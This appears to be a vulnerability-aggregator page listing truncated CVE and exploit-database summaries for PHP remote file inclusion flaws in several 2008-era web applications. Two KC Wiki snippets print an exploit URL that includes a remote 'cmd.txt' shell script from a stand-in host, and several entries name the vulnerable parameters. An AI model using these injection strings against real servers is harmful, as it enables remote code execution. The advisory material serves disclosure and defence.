EUVD-2008-1135

PHP remote file inclusion vulnerability in main.php in Barryvan Compo Manager 0.3 allows remote attackers to execute arbitrary PHP code via a URL in the pageURL parameter...

CVE-2008-1123

CVE-2008-1123 affects SiteBuilder Elite 1.2. The vulnerability is a PHP remote file inclusion (RFI) in the CarpPath parameter, exploitable via two URLs (files/carprss.php and files/amazon-bestsellers.php). The underlying issue allows remote attackers to execute arbitrary PHP code on affected inst...

CVE-2008-1123

Multiple PHP remote file inclusion vulnerabilities in SiteBuilder Elite 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the CarpPath parameter to 1 files/carprss.php and 2 files/amazon-bestsellers.php...

CVE-2008-1124

Podcast Generator

CVE-2008-1126

The CVE-2008-1126 issue affects Barryvan Compo Manager 0.3. A PHP remote file inclusion vulnerability exists in main.php, allowing an attacker to execute arbitrary PHP code by supplying a URL in the pageURL parameter. The vulnerability is described consistently across sources (NVD, CVE listings, ...

kcwiki-rfi.txt

kcwiki 1.0 multiple remote file inclusion vulnerabilities download http://sourceforge.net/projects/kcwiki/ author muuratsalo contact muuratsaloatgmail.com exploits http://localhost/kcwiki-10-20051129/minimal/wiki.php?page=http://www.site.com/cmd.txt?...

KC Wiki 1.0 - simplestwiki.php?page Remote File Inclusion

KC Wiki 1.0 - simplestwiki.php?page Remote File Inclusion source: https://www.securityfocus.com/bid/28074/info KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remo...

KC Wiki 1.0 - '/minimal/wiki.php?page' Remote File Inclusion

source: https://www.securityfocus.com/bid/28074/info KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in t...

KC Wiki 1.0 - '/simplest/wiki.php?page' Remote File Inclusion

source: https://www.securityfocus.com/bid/28074/info KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in t...

kcwiki 1.0 multiple remote file inclusion vulnerabilities.

kcwiki 1.0 multiple remote file inclusion vulnerabilities download http://sourceforge.net/projects/kcwiki/ author muuratsalo contact muuratsaloatgmail.com exploits http://localhost/kcwiki-10-20051129/minimal/wiki.php?page=http://www.site.com/cmd.txt?...

KC Wiki 1.0 - minimalwiki.php?page Remote File Inclusion

KC Wiki 1.0 - minimalwiki.php?page Remote File Inclusion source: https://www.securityfocus.com/bid/28074/info KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remot...

Remote file inclusion

PHP remote file inclusion vulnerability in lib/headauth.php in GROUP-E 1.6.41 allows remote attackers to execute arbitrary PHP code via a URL in the CFGPREPENDFILE parameter...

PHPMyTourney 2 - tourneyindex.php Remote File Inclusion

PHPMyTourney 2 - tourneyindex.php Remote File Inclusion source: https://www.securityfocus.com/bid/28057/info phpMyTourney is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote fi...

Barryvan Compo Manager 0.5pre-1 Remote File Inclusion Vulnerability

No description provided by source. --==+================================================================================+==-- --==+ barryvancompo-0.3 Remote File Inclusion +==-- --==+================================================================================+==-- Author: MhZ91 Title:...

CVE-2008-1074

CVE-2008-1074 affects GROUP-E 1.6.41, where lib/head_auth.php fails to validate CFG[PREPEND_FILE], enabling remote inclusion of arbitrary files and potential PHP code execution. Root cause: inadequate input validation for the PREPEND_FILE parameter leading to local/remote file inclusion. Impact: ...

PHPMyTourney 2 - '/tourney/index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/28057/info phpMyTourney is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the...

SiteBuilderElite 1.2 Multiple Remote File Inclusion Vulnerabilities

No description provided by source. --==+================================================================================+==-- --==+ SiteBuilderElite1.2 Multiple Remote File Inclusion +==-- --==+================================================================================+==-- Author: MhZ91...

CVE-2008-1067

Multiple PHP remote file inclusion vulnerabilities in phpQLAdmin 2.2.7 allow remote attackers to execute arbitrary PHP code via a URL in the SESSIONpath parameter to 1 ezmlm.php and 2 tools/updatetranslations.php...

CVE-2008-1069

Multiple PHP remote file inclusion vulnerabilities in Quantum Game Library 0.7.2c allow remote attackers to execute arbitrary PHP code via a URL in the CONFIGgameroot parameter to 1 serverrequest.php and 2 qlib/smarty.inc.php...

CVE-2008-1068

Multiple PHP remote file inclusion vulnerabilities in Portail Web Php 2.5.1.1 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the sitepath parameter to 1 Vert/index.php, 2 Noir/index.php, and 3 Bleu/index.php in template/, different vectors than CVE-2008-0645...